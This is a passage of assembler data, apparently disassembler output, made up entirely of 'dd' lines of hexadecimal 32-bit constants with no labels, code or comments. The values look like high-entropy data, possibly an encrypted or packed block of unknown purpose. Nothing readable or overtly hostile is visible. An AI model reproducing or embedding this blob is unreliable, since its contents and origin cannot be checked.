6A0A594Bh, 0A333FC87h dd 0A4A4295Ah, 2C5EDFh, 24CA32AAh, 0E571AA99h, 0ECFC32EAh dd 0A4F52D61h, 22C52EACh, 0D98CDDA4h, 21B8BDA0h, 1AE51703h dd 65B61CACh, 4AC922A4h, 0A9D0606Ah, 0A0FFE967h, 8C59E921h dd 5A98E8AAh, 28B4F7BCh, 468008A2h, 6E00A9D3h, 1A8529E5h dd 9E2ACD4Fh, 2A2B08ABh, 4A1C3504h, 8EDEDD2Bh, 9F69780Ah dd 1A152813h, 0E3CE2C02h, 87D573B1h, 0E26A84C4h, 0E3EBDD8Dh dd 0BF47ECBCh, 9D35E1A5h, 0AA38E5FBh, 0CF3CE65Bh, 0E357174Dh dd 97B859F7h, 30727DE3h, 853F9975h, 0E22B1D01h, 41FEF95Eh dd 0CAF476BDh, 0CFEC3B3Eh, 0A1635F6h, 0BB5D6115h, 537D2A96h dd 0AD3FE9E1h, 0CCC73322h, 5B981C10h, 0C1667D4h, 77BE4EBCh dd 6B7CD682h, 124A1A40h, 0BF383C21h, 0B708B3A7h, 40663026h dd 50362F7Eh, 0AFEB9156h, 19404BC6h, 0AEB9044Ch, 8F3D0F23h dd 53800661h, 72E2805Dh, 7E0F7F5Ah, 380297B8h, 0AEB60728h dd 2B349E65h, 0F544BCDCh, 0DC430361h, 8541E9B9h, 1E2278BEh dd 4344377Ah, 0A8AE7F0Dh, 0D960C258h, 12FA5C96h, 0A2386DB2h dd 83C9FF3Ch, 3DF3DA7Fh, 7594235Ch, 50C5FF63h, 2356E20Dh dd 9F2BFD4Fh, 8EB2F16Ch, 5BEB7A66h, 74AAE7B1h, 0A385AD15h dd 5C7D5CB5h, 0BEDFDD0Eh, 53C63BBFh, 1C295D1Bh, 9D994EA1h dd 6B5C03E6h, 50F20732h, 7EAE1A34h, 0A3070995h, 6EC84972h dd 92F73BF3h, 4A50E8EAh, 0B9D9E03Fh, 747C1BBFh, 9C233E2Fh dd 570AE525h, 6AC63610h, 9316EA09h, 0AD747054h, 0FB2D2DFFh dd 47FEB46Dh, 0F649206Dh, 12A9DFFCh, 69AFFB12h, 6EA518B0h dd 0A2F6AB51h, 58CDF69Ah, 3E321466h, 873B8140h, 0F340DEFh dd 1A6366A0h, 5C2349Ah, 0C9CE3F29h, 88335610h, 8E9BF3FCh dd 38AEBEh, 9E7A3740h, 0FFAF4695h, 0A559AA4Dh, 9397D5F8h dd 62F3CA24h, 65B8CF46h, 9F17B4BBh, 0D89D5524h, 601C4D54h dd 0D54B6ABBh, 4DC03631h, 2A8302ADh, 3B5DA0FBh, 0EE07CF27h dd 9B1E6241h, 1D35AC9Dh, 1B8E69EDh, 0B0205819h, 9424AFD8h dd 227A66A8h, 59FF76C3h, 96F9272Eh, 0D597B76Bh, 1943143Bh dd 1F85592Dh, 7A93FF8Eh, 600A153Ch, 7539AABEh, 83ECA226h dd 0BAE9C816h, 0B8B18C06h, 0A0F007BDh, 5400184Fh, 9DE93010h dd 4195EB8Bh, 833CC360h, 60AB2AA8h, 97AAAB9Eh, 9F369CA3h dd 0BF22AA5Fh, 9D6766A2h, 23FBA7C7h, 0A2B5AD9Bh, 88890E97h dd 0BE5F4FCh, 0AC2D1F9Fh, 0A14D35EEh, 7D954ABCh, 1E4939E4h dd 6AF211D6h, 822C10A6h, 9E6652C9h, 39AC90BFh, 70085D1Ah dd 8ED605A3h, 823C4259h, 7286910h, 2E9533A9h, 0A4EA354Dh dd 2CC38526h, 2C8520BAh, 18F0413Dh, 42849940h, 0D87FA19Eh dd 0EED63961h, 0BAD91A36h, 19310734h, 53BB2E83h, 0D334C94Fh dd 505E0AD7h, 9BB33547h, 3959ABBBh, 0E3E4529h, 0D69527A2h dd 1D837528h, 7E97997Ah, 0D656F79Bh, 0D20A7D5Fh, 0E2814A51h dd 0F0B8362Eh, 9E6B8067h, 0B4E1E494h, 490FDDBBh, 704A4763h dd 6257CC99h, 0AF608FDBh, 21680464h, 615CCB0Eh, 91120B64h dd 67543744h, 0E4021773h, 8ED431EAh, 0BEDA43DAh, 4E6FAA87h dd 0B5D004DEh, 0A6485ADDh, 230F6E29h, 553F36B7h, 5A392377h dd 0B9712F81h, 5158108Ch, 9A7346AEh, 5E185C17h, 0F3D38C8Eh dd 7E3A90FEh, 2250F22h, 0D23AC627h, 0D5F1413Bh, 0CEBBBE9Dh dd 7B5802E5h, 7DCE5122h, 20806728h, 4240E9EAh, 8FB3F3EEh dd 0F353E75h, 99D383BFh, 5B41036Bh, 1D00FE0Fh, 1B46FDE2h dd 0E53823B2h, 0EDF21BEh, 0B11AB45Eh, 4E88A057h, 6EB36EE3h dd 186A6113h, 9D6E8C91h, 0FD4F1401h, 3E84468h, 0C2C5D360h dd 0E4C5D601h, 155BA5E2h, 1702B380h, 0FB4B8608h, 0CF40DAC0h dd 0FF3158B8h, 1C65C2A7h, 54A66720h, 34CE85BEh, 955FBEEh dd 0C3909FA7h, 386AA59h, 0A150F295h, 0E14B6D5h, 65179977h dd 794124B4h, 0C0EC501Bh, 823FAD22h, 6DC1566Ah, 37959270h dd 22059038h, 5964160Bh, 2400F1CAh, 4208A6Fh, 0E050FE3Eh dd 279B4976h, 9E163779h, 727E8513h, 1459910h, 7BAF7AA3h dd 0F2C55CDEh, 0FEBDB514h, 0CA87CD55h, 0CC827943h, 7102DC06h dd 0B4D8BEEDh, 0FB6AAEBCh, 9EDF6EEEh, 685A7968h, 0FC511B42h dd 0F61DB679h, 32C3037Ah, 7923A2E4h, 55FD42B2h, 0AAC453B3h dd 823BAB9Ch, 5830746Dh, 0AEA98188h, 0F026C46Ch, 0E049495Bh dd 0B1F3009Dh, 23A22DE3h, 6CE8DB50h, 70163B4Ah, 0C260DAAAh dd 0F8C72BA4h, 752084C7h, 32C85208h, 0F33BDDFFh, 9AD1DDEh dd 13EF4D38h, 121D28ADh, 0ECC7CA5Eh, 2555B60Eh, 91411A19h dd 8694E026h, 5761FAE6h, 6B1A9635h, 5AA0A34Ch, 0B37EA4EDh dd 5820D0A3h, 77D019FBh, 0A28DD58h, 0ED0B0C9Eh, 4CB276ADh dd 0A3532891h, 1F3ED367h, 5A97DFFBh, 80C5E8DBh, 3FB72C28h dd 0C9136743h, 387AD054h, 0B23ABFE1h, 0A93BF117h, 831AD93Fh dd 8460AF50h, 0BFA33E2Bh, 0A3D871B5h, 0D490A6D7h, 64D808EEh dd 475E479Bh, 0FF720C42h, 0EEEB3D3Ah, 0A42C51B5h, 6FF67A51h dd 36EFF2B3h, 1366ADBEh, 0B565AB32h, 71E92F02h, 2A66BCEEh dd 0B40ED07Ah, 63904D2Ch, 621CDD58h, 45B0412Bh, 19A3C007h dd 0AC79AB16h, 0CCA4F8C0h, 0D165795Bh, 9669D3FAh, 95DAAD4Ch dd 0B5811411h, 285F550h, 496F3F2Ah, 489743ADh, 298EF2F9h dd 0AE905EC0h, 0A2DA028Eh, 57D85011h, 485AC020h, 0E3BF4EA3h dd 0E542B6AEh, 519A7DADh, 3BBBC65Fh, 96F99B1Ah, 5935C9C5h dd 9F296231h, 0D4ED0495h, 74A8163Dh, 0B6A1F0C1h, 3CE2245h dd 0DBBDA971h, 0CC07FD4Ch, 8F320EAFh, 31B4DB5Dh, 0F1F09867h dd 3C5C9DDh, 9D6FC1B9h, 0E0F0DB35h, 0E0BA950h, 52BA0886h dd 0ADCE3551h, 23B4C66Eh, 50AA6D60h, 57B9255Ah, 0BA9A09C3h dd 0DD7256CCh, 90BF87CDh, 5D2BA59Fh, 58FAE622h, 4C43E96Dh dd 278C1DA6h, 995A7569h, 5A8CF478h, 7BAE2BB0h, 9309EF7Ah dd 8B580781h, 2E986FF3h, 5B3F9BDAh, 5F5AF655h, 8506DDE4h dd 0EFFDA750h, 4CBC9FA1h, 14CE1C29h, 0F88741CDh, 0CFE9A735h dd 3C570B73h, 5C1D3445h, 6CCDE1FAh, 0A6EE608Fh, 0E8DEA2D5h dd 0CB285583h, 60CE459Dh, 0D81CAAC1h, 0A0F8F579h, 76F38BBAh dd 488E75E9h, 82EF10FEh, 1821FA7Fh, 0E219D7FFh, 8318033h dd 910282A4h, 3B783A8Ah, 3A6D02F2h, 6376D589h, 38968D73h dd 2A4F0C51h, 0B0D1BDEh, 0CF1633BFh, 0DF254C7h, 9513326Bh dd 0A876B8D8h, 9E39AB6Dh, 2007E56Dh, 77FCAD71h, 49ABF74Bh dd 4674AB8Eh, 0DB3A1AA0h, 565B46ADh, 5B32EAE2h, 2DB90AAAh dd 99BE0CFCh, 0DDE42A43h, 0BAB63B7Ch, 0A430DD4Dh, 2F86313Ah dd 90F52A07h, 504C4B3Dh, 0E81B4EA1h, 0F87CDC80h, 7446570Fh dd 64CCB0C7h, 0C365D985h, 0BEF53231h, 0B2A66222h, 0A0BBF23Eh dd 7341AA4Dh, 2F5B4AACh, 55690C98h, 2894C660h, 0A9CE3218h dd 0E5ADD05h, 0D5C9720Ah, 650725B0h, 83435085h, 0AA08A8CCh dd 7467D7F5h, 0FD137554h dd 9C95C67h, 4882F6B8h, 7B5A7C83h, 5FF918E3h, 85320767h dd 0EE750D12h, 152EA570h, 6A7CEB64h, 9937B4E6h, 9C1B8DBBh dd 14830A4Fh, 97E2BEC7h, 8EAFC4E4h, 42346B4Ch, 650D167Ch dd 40D12601h, 0A5AF4432h, 6C4EE4F9h, 2FB61726h, 7662B656h dd 267AEFE6h, 0B3A91794h, 0A624315Eh, 654A1C9Dh, 0CDD70E0Eh dd 625A773Ah, 0D3B02718h, 0A380C75Fh, 93536353h, 0A6F72DEDh dd 3B512FFEh, 901249CAh, 79771219h, 0FEDEC69Ch, 0AAFBE0E6h dd 0D23E2F2Bh, 2310AF35h, 2D13503Ch, 0D6170F40h, 0E42334Dh dd 623227A9h, 0A6BBBA1Eh, 0FDC9971h, 0BE70392Eh, 0FDECCDBAh dd 6AEF1545h, 0E2593573h, 244836B3h, 7641B354h, 0E7CEE8C6h dd 165DC97Dh, 91F761B9h, 614105CAh, 0E797B478h, 44184FCh dd 42BEFB1h, 0CBDC44B5h, 4A0220FEh, 23F3EE9Ch, 0F01D9EDh dd 0B20BEBC2h, 6B514B68h, 512EC96Eh, 8362F435h, 24D8BBA6h dd 0FBE1DC17h, 91810156h, 7EDAFFC4h, 1A099735h, 29960B66h dd 9FEC01C3h, 0C1EC2680h, 0BDF03398h, 0ED88F3Fh, 24007337h dd 92DCECB5h, 8C40E3E5h, 91016FDCh, 0D22E7507h, 9833E9C9h dd 0C511C700h, 0ACB29F94h, 0D5864995h, 0E138429Fh, 6B00FFB9h dd 2DE4391Eh, 755EB6h, 1E12B13Eh, 8C2F276Dh, 1FAF5BF3h dd 1C3AFF58h, 16FFADD7h, 56200E7Bh, 8C47793Dh, 60392EBDh dd 0EC59E034h, 23C42955h, 48E6F9F9h, 0EC12E33Fh, 6B153D82h dd 0AE5A4D2Bh, 17F6E221h, 63F3CD35h, 43272A6Fh, 57F6FAEAh dd 5BB0B65Ah, 57B2816Ch, 9BDB87B8h, 735C6F1Ch, 0BFE8D6BBh dd 1CA38A59h, 873F4A95h, 859E4B69h, 15B9BAF9h, 7732A160h dd 0AEE132D1h, 7195FAF1h, 58243B46h, 0DA3B4B06h, 0ED414A90h dd 9425804Eh, 0FA637B2Eh, 0A468BDB7h, 0A449A3BAh, 9FCF2A25h dd 71D66225h, 0B0152B63h, 0A102383Dh, 9268DE19h, 24FA2044h dd 9743684Eh, 0FE3D69B4h, 93331A7Eh, 0F3BE5313h, 6DDF0996h dd 0F706DC5Eh, 0AA5286CBh, 20803812h, 0A53BDE0Bh, 9DD0E1B8h dd 0BE22E53Fh, 570D2329h, 5C6BEC0Bh, 0BA8503E3h, 0A189D006h dd 6D0DDD8Ah, 0E89A796Ah, 0AC8C119Ah, 7B936DEEh, 603CFEB1h dd 715A6975h, 0F2842071h, 613C3BFEh, 63F3C687h, 8BE5F850h dd 0F61522F4h, 4A2E530Dh, 45802FFDh, 2AE9DDE4h, 45F2EC97h dd 0A12C6FD2h, 62722874h, 32D8F711h, 32DA424Fh, 0EAE1E3D5h dd 55A80F49h, 0B6F9BDF4h, 0E380997Ah, 73752D94h, 0B1B38972h dd 7913EF8Ch, 952FCFEEh, 1D41F53Ch, 0BC14C0BBh, 2515FC34h dd 132328FEh, 7A7F2BD7h, 0AAFFD68h, 5FE6720Ch, 0D61FDD62h dd 62E2C965h, 0AD06D661h, 6221108Ch, 254AE870h, 4C5AEE67h dd 13C1C07Bh, 9B7F1DBDh, 993BDD7Fh, 8CC6D003h, 786FB303h dd 157CDD63h, 37B7C143h, 71F23589h, 0D8DD2F57h, 0F6A6082Dh dd 0F39E3EDBh, 20B0D6FBh, 2D287C91h, 0FAE73515h, 306ADCE6h dd 2BAB5689h, 4CD84D19h, 0DA382D76h, 431A27FCh, 2CA5B1B4h dd 66981373h, 4ED48C7Ah, 0D422D4Fh, 0C2437A94h, 80142311h dd 3F3AE6h, 4110F2Ah, 4E44BACDh, 8FBB3528h, 0AECE1CBAh dd 0E33C778h, 0E1A2F0Dh, 98EB35A1h, 32332EDEh, 6BC49738h dd 4F0B5CBEh, 96F5C989h, 0BB85CD04h, 0AA28FF0Eh, 62A84989h dd 13F3CF70h, 2332AE0Eh, 0D5A45E1h, 1D030510h, 39B245F6h dd 9BFFD982h, 5440E121h, 0B8CE3392h, 0AC40498Bh, 0B8F7FC54h dd 7E265BDEh, 6C3827FFh, 4BF5F2ADh, 6F544FDh, 865E816Eh dd 807E92B9h, 6A7F88AFh, 0D6946C4Ah, 5B6093EAh, 0C1B04174h dd 0EE7AFE20h, 0BE079F60h, 251F8CB7h, 0EE33372Fh, 2F1DA396h dd 0BC8A6EA8h, 64DEEE2Ch, 29D035D9h, 0E6A5CB4h, 7A2EDD87h dd 0C3ECF20Eh, 6FFAC073h, 0B6E883E1h, 0CB7CEFD1h, 0EACABCC4h dd 714515E6h, 0F65D3F4Dh, 0E067897Ch, 0EC651843h, 6FAF80A1h dd 2D6F1517h, 3203AD37h, 912ABDA0h, 2F404A1Fh, 6FC89914h dd 0A9331F16h, 0A467B3A6h, 360D6270h, 40ABEDAh, 0FA7515B6h dd 0EBFE0A03h, 5676FCADh, 0CD80F07Bh, 4ED120BDh, 2A1E293Ch dd 0C748A2B5h, 0B63633B1h, 5C7AA99Ah, 26214A5Fh, 2D38257Fh dd 823C9039h, 0BAC0124Ch, 0D148854Dh, 16CE59Ch, 0FB3A254Ah dd 25106042h, 4144913Dh, 301C41C4h, 0C5B76C52h, 71BAB36Bh dd 2643EB15h, 0E3D84178h, 2ADEBE4Eh, 0AA27835Dh, 0D7BE3928h dd 0BE41FE51h, 0B2378557h, 65007230h, 0C08747ACh, 1260CF28h dd 0EEE43F78h, 0F2752DE7h, 3A0E8B7Eh, 0BB8A46DAh, 0F0C09FF1h dd 0C3BEB090h, 6F156B1Ch, 0A28BC831h, 6FABAEE2h, 50FEB4E5h dd 61D682A3h, 29EBEEBAh, 1388939Ah, 60831B04h, 740ECD70h dd 79C85FFEh, 56B788A2h, 0B90EB9BCh, 0F3349E45h, 52F72B17h dd 4FFCE835h, 47944A8Dh, 2B0D1C39h, 0E2BA751h, 0E07314Ch dd 71DE3333h, 5F833D7Ch, 417CBA07h, 16FD41C5h, 67B76AA4h dd 7BF048FDh, 1DFFD3D2h, 0CCB22033h, 0F513D4BDh, 47C0E59Ch dd 29FE99E2h, 7025222Dh, 0EA76D00Bh, 40DD3D0Ch, 0DD6131D2h dd 0A8D0347h, 510A0421h, 0A63A61E0h, 86CA9258h, 2548A2E4h dd 0AD5E9EB5h, 7ADC3BB4h, 7B54A385h, 0BFB2A543h, 792110BCh dd 0AC0386B4h, 8A3AF8AEh, 0DE337794h, 0A9B84DBDh, 0BEBE716Fh dd 4071F434h, 0EF439CE3h, 4AAF210Fh, 7B16DFBEh, 0D44354B7h dd 0B3AA2874h, 2A4ED4E1h, 0ADB2191h, 83E18C50h, 7E42BCC2h dd 0F5BD13C7h, 0B98A82B7h, 2924D889h, 0F3E241F0h, 6619BEF3h dd 0D73B9CA5h, 0A1C49029h, 818D2158h, 2A840434h, 0D1CF3101h dd 0CA2250A5h, 0D3D3E91Bh, 5C672192h, 0EEC7ADE7h, 85403B8Bh dd 6BD74481h, 0E24E69D0h, 1E702120h, 0ADD6B90Fh, 54289E5h dd 7D4BDB01h, 9B7B55A8h, 76F5AB00h, 76A32A4h, 1AE02F6Dh dd 904B3668h, 9AB62EB8h, 55D701FDh, 66DA3107h, 7A0342A5h dd 1D3D3F0h, 9B73D8C3h, 0EEFC1AA2h, 2047EBA1h, 67335A5h dd 949E2BD0h, 9A0F4BDDh, 5C90B919h, 0F589688Fh, 0D74BE6BEh dd 0F37242D9h, 9AE6DC53h, 0A875EC86h, 57EB458Fh, 0C69971A4h dd 541C7855h, 0CF347E5h, 0E36C2125h, 0DA72C04Fh, 0CE425DD0h dd 0CD810244h, 9BAFB80Fh, 3F3576EBh, 0E2A499E8h, 0A2450EA3h dd 0CCE42C3Dh, 9B7F358Ch, 0CB394841h, 49D5A53Eh, 2F931A5h dd 7B278A0Dh, 470621E4h, 5BB29F1Fh, 0A042DF89h, 0D6437A14h dd 9BAA7345h, 8A6E315Bh, 9293AC3Ch, 0D0429C46h, 0DA5E8DBFh dd 9B7112C6h, 0E3A049EDh, 930EDEBEh, 9AAEF1E6h, 0B2AF28DDh dd 0D66237CDh, 19DB35A5h, 0A2D7E458h, 7ED921CEh, 7DE92034h dd 6B0A5D9Fh, 7BE0861Ah, 4B6D0565h, 0FBF4AC00h, 5957539Dh dd 15C52F30h, 0DB2820C0h, 1C452991h, 8F356D0Eh, 9A9278FFh dd 0D25BF100h, 0D88A48B3h, 22C6ABA5h, 0B86525ECh, 63E32288h dd 8D2F7B58h, 7FB6729Dh, 966EEAA5h, 6790C00Dh, 5217B1F7h dd 0D642DD6Bh, 0D51243C2h, 3F41E0F1h, 306DEB86h, 0DE81218Dh dd 8F498DF4h, 442728Fh, 9601C89Ch, 9A0ED78Ch, 0C7DDA97Fh dd 0F4E299F5h, 9E17D3A5h, 9D274C61h, 66E42152h, 177B88BBh dd 563545B8h, 0BBF52C14h, 0AA1C2364h, 9A872AE1h, 0E339013Fh dd 71DA9C40h, 9BF9247h, 1712825h, 9B5E86ECh, 93347704h dd 0E3AAC787h, 0BC1B7848h, 0CE927165h, 9E7D7EDDh, 7391E44Eh dd 49753424h, 0D73EC56Ah, 0D4D694EEh, 0D36FA1D6h, 0CD3D9F98h dd 0FC36BBE6h, 0ECF5221Eh, 0A10BDDD4h, 0CA587C7Eh, 0AFA7B12Eh dd 9E427A5Fh, 0E693F22h dd 9AE02BB3h, 7E09AD82h, 7D8E731h, 749D3448h, 0E982DB06h dd 99A742B7h, 41B03ABCh, 0CB3B21D7h, 5EC62EC7h, 8A453691h dd 213A82F3h, 9A43531Dh, 0A0802747h, 7CEDC41Ch, 2795FA5h dd 50D3A100h, 812BE619h, 10D4CA25h, 0FB447D4Ah, 24700BA5h dd 0AB68DB0Bh, 0F7FB20F9h, 0D465D61Eh, 0D9556DACh, 2801B76Ch dd 0DB6E3EEEh, 3E5AC1D5h, 9AC4438Fh, 0DEA37032h, 6C0A79E3h dd 6A6550A2h, 8989CE94h, 0C086FE55h, 0CF3F2188h, 0CC0CEA66h dd 45427B7Dh, 0B5F67EB8h, 5A4C97BBh, 7A42227Bh, 0DD022D2Bh dd 70657996h, 0C2CDCE81h, 4BD4B4A5h, 60DB672Ch, 7B902139h dd 0C03BFAh, 0EC4281E9h, 0FC0F0C16h, 9AAFF31Dh, 9E79352Eh dd 0D3882A7Eh, 0BC433CA5h, 6F3E0F56h, 0D40836E7h, 0D86509E0h dd 0CEE8B3D3h, 4410BA5h, 999DC5D2h, 4B83218Eh, 258F71F6h dd 464178C7h, 76649748h, 35DE51D5h, 7E53215Fh, 4A18599h dd 2D402B10h, 0A09A2318h, 50057EBCh, 205821B7h, 0ADD32E1Eh dd 1C3F610Eh, 2F85E8A5h, 0FC8AD8B1h, 0CB1821D7h, 0D028192Ah dd 2842BBB9h, 0D837B3F3h, 9A8D4CF0h, 0BBC64596h, 0EE397A86h dd 202772A7h, 8BC24363h, 36792ADh, 0F4C02117h, 0D82C7446h dd 4043FA24h, 12635FECh, 6276D6D5h, 802D32EEh, 0AC7210Bh dd 0E544361Bh, 3F1BA4h, 0AB422A09h, 9DDF8781h, 7C94C836h dd 67B72ADh, 77E1104h, 0FCCD3CA5h, 0ED5486BBh, 6F6C26B8h dd 0DCF72D22h, 534522D2h, 0C1DC0F04h, 9AE53FAEh, 3FDF4F5h dd 8CD7A7Ch, 4F8E4A5h, 756697F4h, 16A218Fh, 8A0247BAh dd 5105796Ah, 0C3892172h, 0F88987E0h, 0CD742126h, 0D045487Eh dd 8C0D0555h, 0DCB8AEE8h, 2DB26BEBh, 9D9CF2D2h, 9F1E9DC2h dd 0CB55716Fh, 44777FBFh, 6F64FFA5h, 0BE6BCEE6h, 0CB2157h dd 7BF899D2h, 0B54523E1h, 45AEC41Dh, 9B0C0B16h, 3B912AE7h dd 96803537h, 74402C86h, 47405638h, 0A13EAF57h, 0BAEEEC7Eh dd 78FD0E56h, 4C75F1F7h, 0A43611E2h, 0ED1D6F5h, 0BF251B48h dd 0F023D14h, 0D4EC980h, 7BCB1A1Ch, 0DED45791h, 20DFF75Fh dd 0B5663DE5h, 9F6F049Bh, 0E126E562h, 263C2B14h, 2E43FC66h dd 907429E0h, 4CE9DD4Eh, 0BE0AF6BDh, 4E21B5E6h, 2B328066h dd 76C2AD41h, 6DBAC1Eh, 45B93165h, 4B2AC3E5h, 2E08A174h dd 0A937E1B4h, 2EC03316h, 5A52A24Eh, 0C44038A6h, 36871785h dd 6101C7BCh, 8100F679h, 5FFD2E76h, 6E6DF18Eh, 5E756406h dd 0B3FEF771h, 714FF454h, 4F50F398h, 5D3CE724h, 0F7D521A2h dd 0C8352216h, 5F3E4CA3h, 0AE3FE0A3h, 5A831150h, 42090144h dd 0A1ED376Dh, 4A0C2FBDh, 0B5A5FE4Eh, 0B278B644h, 2E2856Bh dd 0B3322EFh, 9DCAD615h, 56BCECAAh, 0A9C64296h, 0A342CF5h dd 8D50915h, 6DFDC15h, 0C41009A0h, 0DA55265Dh, 13E43ED4h dd 4B3A039Eh, 0CDC69E5h, 0F8D2D900h, 9D62C6Ch, 79212201h dd 2146D81Dh, 7D363015h, 0BBD1C304h, 0BA3BD204h, 2DCE634h dd 0AAF93E75h, 3FD5E919h, 7FE03004h, 0AB84901Ch, 0C284C011h dd 490CD66Eh, 0B9231AAh, 0AEBC2713h, 4CF00A04h, 3C32EDBDh dd 3C47E563h, 2B11D7Ah, 0A215CEBDh, 0A2ED16D1h, 213CEEFh dd 0B6BA3055h, 3E461D2Eh, 1882606Eh, 1A20F6A4h, 56328977h dd 0DFA067Eh, 1BD5D0BBh, 24A3DE6Ah, 0E41A7A7Fh, 0BB696A10h dd 1AD47349h, 6CFFEA28h, 42DFB177h, 0B60E1352h, 13150A00h dd 7E9AE960h, 0B0030E41h, 0AA3B286Eh, 843B291Dh, 0E2FF315Dh dd 0A370CEB4h, 4528B54Dh, 655A04B5h, 0B3C9125Dh, 52DA8C20h dd 4D16EF78h, 6106306Ch, 3D203EBDh, 2D0EB634h, 9B86144Dh dd 3710DB45h, 461BA745h, 0AA1014B8h, 0C3A3DA6h, 3319210h dd 0D7620518h, 0D15176F4h, 5CEEF575h, 0A970F26Dh, 6065517Dh dd 47FDF77Ch, 69FE66B6h, 6946F475h, 6C4233C0h, 5213116Fh dd 0BA163338h, 6A4E235h, 9CEB147h, 730BEBC1h, 6092A550h dd 18DD05F7h, 2A0AD6B1h, 0AC0C005Dh, 17633A17h, 1CE28B6h dd 0AD1CD1Dh, 4FABF3Fh, 0A4CC501Fh, 740BC82Eh, 52BFA61Fh dd 0DC8E6F6Ch, 528FCDEDh, 0ABA1C35h, 109EBA57h, 272C6E1Ch dd 0C0DA8161h, 811EC274h, 3C463BEFh, 4EB10973h, 0ECE52505h dd 0D43E380Fh, 0A1908156h, 0FD304423h, 5313C16Dh, 550B59D6h dd 7E915415h, 0BBA13244h, 0E55D1EEAh, 0B30AF859h, 2974F240h dd 0B4DE6823h, 1BEA9D4Bh, 46241E41h, 0C7251218h, 0DAC3B0D5h dd 0BC2A8904h, 4AD9C25Ah, 216939FBh, 980F4C50h, 0B23CC6D1h dd 7D0EDC2h, 0ADC2033h, 0F8A5CE23h, 99ACE3EFh, 4AE71E44h dd 6A0BF214h, 5C9803AFh, 0FAD7FF5Fh, 46FAC7D1h, 0EA537F6Dh dd 43BEDCABh, 6BE2AB12h, 0F0192D04h, 81A46D0h, 0D753A21Eh dd 0C2097DB9h, 735E0E40h, 48B2F425h, 4D0863F1h, 0F1EF151Fh dd 5D98312Ch, 6D57425Ah, 6608846Eh, 0FE8FC3DDh, 0A41A802Ch dd 0AC2DC4C2h, 0BB340260h, 0EFF50D5Ah, 5B2518B9h, 0AE404557h dd 0B59E4F69h, 740EF484h, 74A37B1Ah, 0C7C12952h, 0A3923561h dd 670C6B72h, 24F104F0h, 55BCFE00h, 60C0C967h, 7BF1C813h dd 64E661E1h, 0B46EF549h, 5C5EF403h, 1336B3D2h, 0A175F7A7h dd 9F5CBD19h, 69D2CC72h, 9F4B825h, 89FED82Fh, 74EEF564h dd 0E5FC29C7h, 6EB4F511h, 719FE03Ch, 1D416D2Fh, 6AAFDDA2h dd 71BB36B1h, 65E13E9Bh, 41A1F47Dh, 5D51CE04h, 5A62D98Bh dd 6B080254h, 0C163D377h, 6026ECB4h, 5E35295Ch, 0B213F2F8h dd 102ABC5h, 0C2DC4837h, 97335852h, 283129B5h, 0BCD9B0B5h dd 79F0120h, 9623C101h, 9B1A4313h, 0E3CC4553h, 0B0DEC2BFh dd 56DBB213h, 5363B0A8h, 0A5EB9554h, 24813918h, 0CD00014Bh dd 0ACC1BF39h, 5C755185h, 5AC4915Bh, 0AC76EF36h, 2DEE28A6h dd 6364096Fh, 0A187E2Dh, 2F43AD7Fh, 9BF8B20Bh, 0EC403C6Dh dd 32EC8BBCh, 5A87C91Dh, 0B35B6014h, 58D0E16Bh, 4C36E99Ch dd 830CDD65h, 2DBBB64Dh, 5E4182B5h, 0A6DA8DEAh, 5C1365FFh dd 916250A4h, 0A37D3BD9h, 8CF9718Ah, 0AF4AFF86h, 9E18E1F5h dd 0AC66CC8Dh, 0AAFD0BA3h, 6600B75Dh, 5A232283h, 5EC3E537h dd 961BBD75h, 27CE5579h, 9DC7B581h, 432E8561h, 934D2D45h dd 0C31294E5h, 0AF6D3DA1h, 0FA092CD1h, 60D50B37h, 29413055h dd 0AAE10080h, 0AECD0F36h, 2726DDB1h, 0D2F936B9h, 290EAEA3h dd 46FAE9C0h, 5B7D1EB4h, 0EA35C12Ch, 9B2A88FDh, 5B6A0A3Fh dd 0A43EC9C9h, 6BF2B6C9h, 0AE343D39h, 0C76833D9h, 3ACEC75Ch dd 1766E049h, 0F22E48FDh, 0E336A119h, 0D6BB87BCh, 0B6BC214Fh dd 0E2323AB4h, 7966A919h, 5ED61345h, 20861EA2h, 0FB3A05EAh dd 0B241B2BCh, 2AEE6D51h, 0C1D2E1CDh, 2ACEA8CDh, 1C313546h dd 0B9AA9341h, 0D750BD35h, 6C168D4Eh, 28338EB0h, 424A41FDh dd 96FDB518h, 0B7608F44h, 161B3E34h, 4BAE13Eh, 73026F1Ah dd 281E949h, 0CE852D1Ah, 1F2792C0h, 910EDA7Ch, 6D52862Bh dd 8A97C561h, 6CFFFFE5h, 69FA2272h, 6E11777h, 0EF422B36h dd 0AC40F108h, 4E13E115h, 8304298Bh, 0E5501FBEh, 0F080404Dh dd 0A3376164h, 9813E315h, 68232966h, 3D2A9983h, 0A3368C65h dd 5F6BF752h, 5C76A175h, 963D23DBh, 0AA122040h, 0BAFAC313h dd 9E0F6BA4h, 0AAD2442Dh, 0EF7D0115h, 8F3E8125h, 0AA2106B3h dd 9EB1297Dh, 59C6BB7Bh, 52427746h, 0B2250955h, 53193105h dd 9A220854h, 9B3A304Ch, 0BC1B136Bh, 0A43338A5h, 45101BA3h dd 50072142h, 0B0270F57h dd 57452CB7h, 0B71E1450h, 9A3E35B0h, 0BE191D69h, 9E393D49h dd 0A5303BA2h, 0D24321A2h, 923B2EBFh, 0AB35E4B7h, 0B32C3C25h dd 0AA36054Ah, 0CC0646AAh, 9F34A1A3h, 0AC2F29B1h, 0A12BE125h dd 0AD2B2CB6h, 42422AA5h, 48210752h, 4126216Fh, 49251553h dd 4045115Ah, 4711006Eh, 4D20105Ch, 9BED0649h, 8A530838h dd 0D0B13864h, 202D36BCh, 873BABB1h, 82E3D74h, 5B213DB5h dd 74283D48h, 9E31D8A0h, 0BADD29E6h, 460DC9D1h, 0B2AB31B6h dd 3075432Fh, 7B9CA67Dh, 6463D939h, 682A8E6Dh, 1ED2AD6Eh dd 2E927079h, 23723D35h, 8910886h, 4A9CD6B1h, 5473C137h dd 0A50C9DC5h, 0DDBAB4BBh, 0AAC5011Ch, 68432BCEh, 38A8384Bh dd 0D69AB4E1h, 0B386EC55h, 0A3D70D73h, 0BEB508B0h, 0A6C011DFh dd 5412281Ch, 0EAF9050Ah, 0B6B51525h, 0FB1A8BC6h, 0DBA3F57Ch dd 5EF06553h, 82FA911Dh, 0A303D415h, 41BD32B9h, 68166B5Dh dd 6B72F0B0h, 26DAF1D1h, 8336CFC1h, 0BAAFBF20h, 0AF4ABB51h dd 2BBAB1F1h, 0D9CE1B24h, 0ABBC494Ah, 353901F5h, 0A632AC5Dh dd 86917FB4h, 72A33564h, 842B44B1h, 1E26AD69h, 1EF6AD61h dd 0A722AB49h, 0AE379755h, 561938C4h, 